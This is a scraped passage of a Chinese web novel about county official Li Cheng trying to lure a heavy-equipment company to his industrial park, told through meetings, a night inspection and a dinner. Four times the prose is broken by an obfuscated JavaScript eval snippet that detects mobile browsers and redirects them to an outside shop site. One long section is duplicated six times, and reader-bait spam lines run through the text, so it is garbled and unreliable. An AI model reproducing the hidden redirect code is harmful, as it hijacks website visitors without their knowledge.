“你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. ,不高,横河镇给的政策力度太大的,我们县比不了。” “是呀。” “华宇的吴总,没拿横河镇的政策,跟你讨价还价吗?”林青好奇的问。 “说了,算完帐后,总体入驻到横河,对他们来说不划算。” 李承端起水杯,抿了一口:“总体优惠比我们高一千万左右,但他们的运输成本,每年就要高出二百万。 我觉得,他们会想清楚。” “嗯,是这样。” 林青思索片刻,再次看向李承的目光里,带着些许赞赏。 横河镇的新政策,在来之前,他们都不知情。 也打了他们一个措手不及。 林青跟动联绿能交谈时,一直是在劝说,在聊风林县的利好,并没有去计算具体数据。 在听完李承的方式后,她有了一个新思路。 相比于林青的赞赏,一旁的戚瑶,在看向李承的目光里,却是满眼的崇拜。 李承计算数据,和谈判时的认真模样,深深的刻在了她的脑海里。 工作中的男人,往往是最有魅力的。 绝大部分女性都有慕强心里,李承所展现的魅力,吸引住了戚瑶。 “你觉得,北方重型装备好谈吗?”林青问。 “嗯” 闻言,李承沉吟了片刻,最后摇了摇头:“难。” 他在路上,一直在看北方重型装备的资料,也打电话咨询过,他觉得,希望很小. 第358章 省内竞争 “你觉得呢? 李承想看看林青的想法。 “我觉得,至少比动联绿能容易。林青说。 “为什么?李承疑惑。 “北方重型装备对运输环境要求高,横河镇完全不满足他们公司。林青解释道。 的确,重型装备的运输,条件极度苛刻,堪称‘物流禁区’。 横河镇不满足运输条件。 “横河镇不满足,这块肥肉还有其他产业园区盯着呢,未必能轮到我们。 李承拿出香烟,点燃了一支。 这种大型企业,很多城市都会来抢,会挣一个头破血流。 像这种企业,对区域性要求不高,风林县产业园区的地理位置优势,也就荡然无存了。 “但是我们省,对于重型装备的政策扶持力度最大。 放眼全国,也没有任何一个省,比东江省给重型装备的扶持力度大,这才是林青的底气。 “据我所知,汉江市也在争取北方重型装备。 这个消息,是李承的内部消息。 林青考虑到的,李承也考虑到了,所以,他推测最大竞争力在东江省。 从华宇合金来北方重型装备的路上,他特意打听了一下汉江的情况。 “啊? 听到这个消息,林青惊讶之余,神情也沉重了几分。 “这,确实难呀。 林青勉强挤出一个苦笑,道。 “嗯。 省内各市都在拼,GDP,工业投资,税收等. 能拿下一个市值三十亿的重工企业,是年度考核的一大功绩。 省会城市同样有考虑压力,而且还有‘面子’压力,他们势必要争全省第一。 而且,汉江市出手,对于风林县来说,完全是降维打击。 在人才引进,配套和交通方面,这都碾压风林县。 汉江的权限也更大。 风林县唯一的优势,就是政策上,省里每年有额外的补助专项款,是用来扶持风林产业园区的发展。 但那些钱,对汉江市来说,不算什么。 汉江可以在很多方面,给北方重型装备找补回来。 别看是同省。 但省内恶性招商竞争的情况,也很常见,甚至是公开的秘密。 互相抬价,相互拆台的情况,太多了。 以风林县和滨西市的财政情况,跟汉江抢,无异于虎口夺食。 “总要试一试 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,说不定就成功了呢。 看着林青的信心减退,李承安慰道。 机会渺茫,不代表没有机会,要尽最大努力去争取。 因为看到难题而退缩,因为觉得可能失败而放弃,那不是一个优秀干部该有的想法。 人生的意义,就在于挑战一切不可能! 李承几人等待了将近一个小时,也没有等到北方重型装备的金总。 “李主任,他们是不是要放咱们鸽子呀? 跟随而来的招商副主任李俊愧,看了一眼手机上的时间,忍不住地吐糟。 “别乱说。 李承打断了他。 虽然,李承也有这种想法,但这话不能在这种地方说。 万一被企业的人听见,影响不好。 “金总在忙,开完会应该就过来了,这么大的企业,业务对接多。林青道。 可一直从下午两点半,等到五点。 足足两个半小时,李承等人也没见到金总的人影。 甚至连总裁秘书也没见到。 只是偶尔招待员会进来添水,但她也是一问三不知,只管招待。 在这期间,李承他们也没有催促。 风林县再小,他们也是县政府的领导,不可能被遗忘,只会有其他原因。 “几位领导,让你们久等了。 直到五点半,总裁秘书才再次回到休息室。 “请问金总开完会了吗?林青礼貌的问。 闻言,秘书脸上挂起一抹歉意的笑容,解释说:“实在不好意思,各位领导,我们金总要招待合作方,今天恐怕没时间会谈。 但我们金总吩咐了,他在龙鼎酒店安排房间,各位领导可以留宿一晚,明天再谈。 听到这话。 李承和林青相视一眼,大家都知道,对方放鸽子,拖着他们。 甚至是下马威。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337093|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然,就算招待贵宾,也不会让政府的招商团队在这里等待三个小时。 “没关系,住宿问题我们自己有安排,不麻烦金总。 对此,李承只是讪讪一笑,态度依旧谦和:“请问,金总明天什么时间有空,方便帮我们约一下吗? “具体行程还没有确定呢,要不您等我电话?总裁秘书说。 很明显,这就是避而不见。 “好,我等你电话,那今天就不打扰了。 李承微笑点头,带着人离开了北方重型装备。 招商就是这样, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 哪怕他们是政府部门,也要看对方脸色。 毕竟,现在是他们求着北方重型装备入驻风林,对方又不止这一个选择。 出了大门,李俊愧忍不住的埋怨起来:“这不就是故意放咱们鸽子吗? 咱们这次出行,好歹也是两位副县长的配置,他连个面都不露,真他妈的给脸不要” “别说这些。” 听到李俊愧的埋怨和爆粗口,李承挥手打断:“这就是招商的工作,要习惯。” “唉” 李俊愧叹了一口气,他对李承的态度有怨言,觉得李承对这些企业太客气了,过于软弱,失了政府的威严。 但这些话,他只能藏在肚子里,不敢说。 “金总这是在报复呢。”林青颇为无奈。 “报复?”李承疑惑。 “当初金总来风林县考察的时候,陈红旗嚷着要见,结果金总等了他一个小时,他放了人家的鸽子。 我给打电话不接,他秘书说他在跟上级领导开电话会议,结果你猜怎么样?” 提到此事,林青没来由觉得一阵好笑。 这个好笑,其中大部分是被气笑的。 “陈县长是故意的?躲在办公室不见?”李承问。 “何止呀,他要躲在办公室就好了。” 林青苦笑一声:“他中午午睡落枕了,跑去按摩店按颈椎去了,金总回南陵的路上,刚好碰见他从按摩店出来。 因为这件事,金总差点给我拉黑,在电话里骂了陈县长十几分钟。” 第359章 考察横河园区 “哈哈哈我们风林县有一位好领导呀很松弛。” 李承听完这个情况顿时就释怀了忍不住的打趣起来。 遇到这种事别说是市值几十亿的集团总裁就算是一个小商贩也会动怒。 这么滑稽不着调的事情在一个县长的身上出现很难令人想象。 但发生在陈红旗身上也就不那么令人意外。 说难听点陈红旗就是井底之蛙。 他没见过什么大场面一个贫困小县城的官场环境本就松弛度高。 这种小县城里很多当官的素质甚至堪比流氓。 抽烟喝酒打牌是常态。 一个曾经被发展遗忘的县城约束力很差。 尤其是陈红旗这种靠派系和阿谀奉承上位且搞‘一言堂’的更没有约束力。 奉承他的人太多土皇帝当久了也就成了随性的习惯。 在陈红旗眼里风林县发展好坏跟他没太大关系他这个年纪就等退休了自己过的开心快乐能捞到好处比什么都重要。 “我看金总这个态度以后也没什么希望了。” 李俊愧点燃了一根香烟一副厌倦的表情:“林书记咱们现在就打道回府吗?” 金陵市与风林县就四十多公里的路程就算明天还有行程 而且现在已经是下班时间。 林青没有回答李俊愧将目光看向了李承。 别看她是书记李承是主任但眼下的管委会在林青心中李承才是那个主导位。 “我打算去横河镇看一看今晚就不回去了林书记你带着去过横河镇的同志回风林。 没去过的同志今晚跟我出趟差。”李承道。 林青和一些管委会的同志之前在陈红旗的带领下去视察过横河镇就没有再去的必要了。 毕竟住宿和吃饭一笔开销要开源节流。 但对于这个主要竞争力没去视察过的同志必须要一同前往。 文件上的资料远不如亲眼所见。 “让李俊愧和去过的同志回风林吧他着急回家老婆孩子热炕头。 我跟你一起去横河。” 林青瞪了李俊愧一眼语气中带着挖苦。 林青在风林县是出了名的暴脾气。 要不是出差以及李承在旁边刚才李俊愧的那些言论她早就呵斥了。 “不用刘家村的问题还没解决 听说看这本书的人都是很幸运的,分享后你的运气会更棒 需要你我打算视察完横河明天再见一见金总。” 李承摇了摇头婉拒。 刘家村修路问题近期能得到解决。 那群人闹事无非是收了陈红胜的好处跟着起哄。 周一的时候陈红旗已经答应会协调这一问题近两天就会有结果。 李承不在 “那好。” 林青点头看向众人:“没去横河镇视察过的同志跟李主任的车队走。 去过的跟我回县里。” 在林青的吩咐下众人分成两队上车。 横河镇距离金陵市还有一百二十公里的距离。 距离遥远主要走的是国道算上离开市区的时间路程要两个多小时。 若是明早从风林出发到达横河镇就是中午了。 视察一圈再往返一天的时间就耽搁了进去。 既影响考察效率还可能耽搁去北方重型装备碰运气。 综合考虑后李承决定今晚就赶去横河。 到达横河已经是晚上八点多了。 大家吃了一口晚饭后李承对众人说:“今天辛苦各位了都回去休息吧。” 在吃饭前后勤保障人员已经开好了宾馆。 众人纷纷上了各自车辆后李承对司机朱师傅吩咐:“朱师傅去一趟产业园区。” “好的李县长。” 朱师傅启动汽车赶往了横河产业园区。 白天有白天的考察方向晚上有晚上的考察逻辑。 “停车。” 在李承的吩咐下汽车停在了距离园区大门二百米左右的距离。 李承下车后步行朝那边走戚瑶紧跟其后。 “戚瑶你知道为什么要晚上过来吗?”李承以散步的方式随口问。 “嗯不知道。” 戚瑶刚参加工作对此她确实想不通。 “晚上才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337094|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个园区运转的真实情况。” 横河镇比风林县的优势除政策上的优惠外还有一点横河园区是一个相对成熟的产业园区。 成熟的园区代表着配套的齐全运转的流程化营商环境的明面性。 这些同样是企业们关注重点。 白天园区为了营造出火热状态可能会看起来繁荣。 但晚上亮灯率是最直接的证明入驻率的注水情况晚上一看便知。 “你看横河镇一直打着成熟园 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 区的旗号招商,晚上,却没有几家工厂在亮灯。” 李承指着不远处的园区,黑漆漆一片,只有四五家企业在亮灯。 这属于严重的注水。 “是哈,县长,那有没有可能,晚上一些企业不开工呀?” 戚瑶问出心中的疑惑。 “基本不可能,横河镇园区,和我们风林县产业园区一样,都是重工业园区。 重工业的设备,基本是二十四小时连轴转,设备一停,炉温一降,损失很大。 如果他们停工,只有一种可能,订单不足,产能空放。”李承跟戚瑶解释道。 “明白了。”戚瑶点了点头。 大致扫一眼,李承已经将横河园区的开工情况了解了个大概。 这些东西,在他之前看到的文件中,就没有标明出来。 “你晚上吃饱了吗?” 李承看到园区大门口,有两个摆摊的三轮车,笑着问戚瑶。 “吃饱了呀,县长,您没吃饱吗?”戚瑶关心的问。 她在想,如果李承没吃饱,去准备一些吃的。 “饱了。” 李承微微一笑,对她说:“以后不是工作场合,就不要叫我县长了。” “那我应该怎么称呼您?领导?”戚瑶问。 “叫老板吧。” “好的,老板!” 一直都是李承称呼别人为老板,这次,自己也当了回老板,感觉很奇妙。 说话间,两个人已经走到了小吃摊前:“大姐,烤肠怎么卖的?” 第360章 不健康 三块钱一根,五块钱两根。” 摆摊大姐放下手里收拾的东西,问。 “来两根。” 李承拿出手机,扫了五块钱过去。 “辣酱都吃吧?”大姐问。 “你吃辣吗?”李承问戚瑶。 “可以。” 得到戚瑶的回应,李承说:“都吃。” “大姐,你这生意怎么样呀?忙不忙呀?”李承看似随意的询问,实则是在试探。 “一般吧,饭点的时候还能强一点。”大姐给烤肠刷着酱料,说。 “我看就你们两家出摊的,其他摊位都走了?”李承追问。 “哪有其他摊位,就我们两家,这都勉强对付生活呢,再来其他竞争的,这买卖就干不下去了。” 大姐叹了一口气。 她只是一个摆摊商贩,对李承的提问并没有什么警惕心:“卖完这几根烤肠,我也就准备收摊了。” “这么大的产业园区,那些工人不在外面吃东西吗?” 李承接过大姐递过来的烤肠,分了一根给戚瑶。 “别看这园区规模大,实际的企业没有几家,当初我搞这个摊,就听说要进驻不少企业。 结果小半年过了,也没个影。”大姐说。 “大姐,你这烤肠味道不错,把这几根都给我打包了吧,这样你也能下班了。” 李承看着还剩四五根烤肠,为了拉近距离,索性也就都要了。 “我这烤肠都是品牌肠,用料良心,味道也好,我平时自己都吃,好吃的。” 大姐听到李承要全包,脸上立马有了笑容。 “这园区建成后,你们本地人不少来这上班的,也挺好嘛,至少能在家乡找份工。” 李承笑呵呵的说,他要试探一下招工情况。 招聘员工,同样是企业关注的重点。 “我们本地的年轻人,该走的早走光了,谁愿意留在镇里呀。 剩下年纪大的,还得种地呢,冬夏找工作的人多,春秋基本没多少人找工作。”大姐说。 “哦,这样呀。” 一个镇子的劳动力本就有限。 员工的工期不稳定,这就是最大的痛点。 接下来,李承又跟大姐问了问产业园区的营商情况,政府部门领导的情况。 在得到答案后,李承心里有了数。 “行,谢谢啊姐,你也早点收工吧。”李承拿着烤肠,准备离开。 “好漂亮的小狗。” 这时,戚瑶的目光被旁边趴着的一只小比熊吸引住。 李承看过去,那只小狗正吐着小舌头,对两个人微笑。 “大姐,这是你家狗呀,挺可爱的。” 李承从塑料袋里拿出一根烤肠,准备投喂:“啧啧啧” 小狗被李承的动作吸引,摇着尾巴,屁颠屁颠地走了过来。 “别给它吃,不健康!” 看到李承的投喂动作,大姐连忙制止。 听到这话,李承和戚瑶当场石化住。 次日,早上九点。 李承给北方重型装备金总的秘书打去了一通电话。 ‘嘟嘟..嘟.’ “喂,您好。” 电话接通,张秘书的声音传了过来。 “张秘书,你好,我是风林县的李承。”李承自我介绍,并问:“请问,金总今天下午有时间吗?” “四点左右,金总暂时还没有确定安排,您等我的电话,金总方便的话,我第一时间通知您。” 张秘书模棱两可,没有给出具体答复。 “那好,我等您电话。” 挂断后,李承带着团队,考察了一番横河镇的情况。 正如陈红旗所言那样,从地理环境,交通,配套等各个方面考量。 横河镇与风林县都有不小的差距。 唯一的优势,就在于政策优惠上。 视察结束已经接近一点,李承等人踏上了回程的路。 李承让其余人回了风林县,他和司机与联络员,则回南陵市。 李承迟迟没有等到张秘书的电话,他决定,去北方重型装备等。 金总是在生陈红旗放他鸽子的气。 这么大的集团总裁,去一个县城搞投资,县长却因为要按摩而放鸽子,这种情况太罕见了。 所以,想要缓和金总的怒火,就要拿出百分之二百的诚意。 等待,是最好的证明。 到达北方重型装备后,李承再次拨通了张秘书的电话。 “李县长,实在不好意思,金总的行程还没有确定下来呢。” 电话接通,张秘书知道李承想问什么,提前开口。 “嗯,不着急。” 李承态度亲和:“我已经到公司门口,我想进去等金总。 万一金总能抽出空,也不至于在路上耽搁了金总的时间。” “嗯,好,那我去接您。” 李承已经把话说到这个份上了,他们也不能拒之门 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337095|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 外。 不见,可以用时间忙碌来敷衍。 但这么大的公司,连一个休息室都不愿意提供,面子上也过意不去。 在张秘书的迎接下,李承和戚瑶来到了昨天等待的会议室。 站在会议室的窗边,李承看着厂区内忙碌的工人,接连不断进出的货车,他点燃了一支香烟。 作为一位产业园区的负责人,他非常想将这么大的企业,搬进到自己的园区之中! 他希望,风林县的产业园区,在这些企业的入驻下,迎来繁荣! 等待的时间是漫长的。 在这个期间,李承也没有闲着,他在看其他企业的资料。 招商引资不是一件容易的事情。 必须要把所有的企业情况摸透,才能谈的顺利。 “老板,我感觉金总今天也不会来见我们了。” 等待许久,戚瑶看了一眼时间,临近五点,她对李承苦笑一声。 “再等等。” 对于今天能否见到金总,李承已经不抱有什么希望。 他只是在用自己的时间,告诉金总,他是带着绝对诚意来的。 又等了一个小时,张秘书回到休息室。 “李县长,金总要去跟董事长汇报工作,要不您先回去吧。”张秘书说。 “见过董事长,金总还回公司吗?”李承问。 他不是没有眼力见,他是在表明决心。 “回,金总在七点还有会议召开。”张秘书说。 “没关系,我们在等一等。” 李承冲张秘书微微一笑:“张秘书,我们在这里等,不影响你们下班吧?” “不影响。” “嗯,那你去忙,不用管我们。” 第361章 二顾北方 这一等。 又是三个多小时。 办公楼的灯,基本已经熄灭,除工人之外,基本所有人的办公人员都已经下班。 李承仍没有等来金总。 “李县长。” 直到九点,张秘书才再次回到办公室。 “金总开完会了吗?”李承从椅子上站起身,问。 “金总忙碌了一天,累了,已经回家休息了。”张秘书脸上带着歉意的笑容,说。 “嗯,那我们就不打扰了。” 这个结果,在李承意料之中。 “等金总有空闲时间,我给您约。”张秘书道。 “辛苦你了。” 李承微微点头,看向身旁已经面露困意的戚瑶:“我们走吧。” 离开北方重型装备,坐上返程的车,就连一向不愿言语的戚瑶,也忍不住抱怨:“老板,我感觉金总是故意为难我们。” 这句话,也是她在为李承打抱不平。 金总有公务,让他们等,这个理由可以接受。 可李承作为县政府的领导,算上昨天,等了金总整整两天时间。 对方最后却以‘回家休息’为理由推辞。 这不止是不重视,还是故意刁难。 “他心里有气,能理解。” 李承疲惫的闭上眼睛。 他并不会对金总的刁难而恼火,只是对陈红旗更加厌恶。 他今天的遭遇,完全是在给陈红旗擦屁股! “你们俩也都饿了吧?”李承问。 “有点。” 戚瑶和李承都是中午吃的饭,在等待的过程里,除了喝些水,一口东西也没有吃。 “我刚才等您的时候,在旁边吃过了。”朱师傅尴尬一笑,说。 “等下一起吃点,你们都辛苦了,我请吃烧烤。” 李承说完,拿起电话给许梦打去一通视频。 “老公,你回来了吗?” 电话接通,许梦嘟着小嘴,问。 “快到了,你收拾下准备下楼,我们去吃烧烤。”李承说。 司机和联络员,都是李承的身边人。 这顿饭也是李承自掏腰包,属于朋友之间的便饭,可以带家属。 “好呀,就我们两个人吗?”许梦问。 “还有戚瑶和朱师傅。” 这两个人,许梦是知道的,只是没见过。 自从刘婷发暧昧信息那件事发生,许梦对女秘书有本能的敌意。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 今天让许梦见一见,也是为了打消她的顾虑。 “好的。 “等会儿我给你发消息,你再下楼就来得及。 二十分钟后,汽车抵达小区门口。 又等了许梦将近十分钟,她的身影才出现在李承的视线之内。 当看到许梦的那一刻,既是两人相恋这么久,还是被许梦的美貌所惊艳。 许梦刻意打扮过。 本就美丽的面孔,在妆容的衬托下,如同画境中走出来的女子,倾国倾城。 紧身黑色的西装裙,将她那近乎完美的身材衬托的淋漓尽致。 笔直修长的双腿下,踩着一双红底细高跟。 从容貌到穿搭,堪称男性的欲望禁区,会让人沦陷。 李承拉开车门,走下车,主动迎上许梦。 “老公。 许梦挽住李承的胳膊,充满磁性的声音中,带着些许慵懒。 “吃个便饭,至于打扮这么漂亮吗? 李承知道许梦的心思,她是想用自身的美貌,力压群芳。 告诉任何可能对李承有爱慕之情的人,别打李承的主意。 “漂亮吗? 许梦微微偏过头,微笑询问。 “漂亮。 两句话的时间,两人已经回到了车旁。 戚瑶已经下了车,正站在车前,她的目光直直盯着许梦:“老板,这是您女朋友呀,好美呀。 “嗯,我未婚妻,许梦。 李承给两个人进行了介绍:“梦梦,这就是我跟你提起过的联络员,戚瑶。 “老板娘好。 戚瑶冲许梦微微鞠躬,恭敬的打着招呼。 她对许梦的这个称呼,以及那单纯的样子,让李承和许梦都不禁笑了起来。 “戚瑶,你叫我许梦就行,不用这么拘谨。许梦冲她微笑点头,说。 “好的许梦姐。 戚瑶主动给二人拉开车门。 四个人中,只有朱师傅一个本地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344241|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,在他的推荐下,来到一家名为二师兄烧烤的饭店。 烧烤店的生意火爆,基本都是喝酒的,很吵。 而当许梦走进来后,整个烧烤店却陷入了一阵短暂的消停,绝大多数男性顾客,都将目光投了过来。 有些人最开始没看到,在同伴的提醒下,也看了过来。 当许梦被这么多目光注视时,李承心中有几分骄傲,也有几分担忧。 骄傲是因为,这么漂亮的女人,是 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 他李承的。 担忧是因为,许梦太惹眼了,他担心别人惦记。 “还有桌吗?”朱师傅问店老板。 “有,这边还有一个空桌。” 在店老板的领路下,四个人在大厅唯一的空桌坐下。 李承接过菜单,点了一些东西后,将菜单递给许梦:“你看看有什么想吃的?” “你刚刚点的我都爱吃,让他们看看吧。” 许梦伸出白皙玉手,将耳边的碎发挽于耳后。 李承将菜单推到对面:“想吃什么就点,不用客气。” “好嘞。” 两个人又点了一些东西,大家开始闲聊起来。 对面坐的,是自己的下属,旁边是自己的女朋友,双方又是第一次见面,所以,李承要做那个开启话题的人。 不然,气氛就显得死气沉沉。 在李承以《东江问政》的节目,作为话题开端后,大家也开始了探讨和闲聊。 《东江问政》在东江省火得一塌糊涂,尤其深受中老年观众的喜爱。 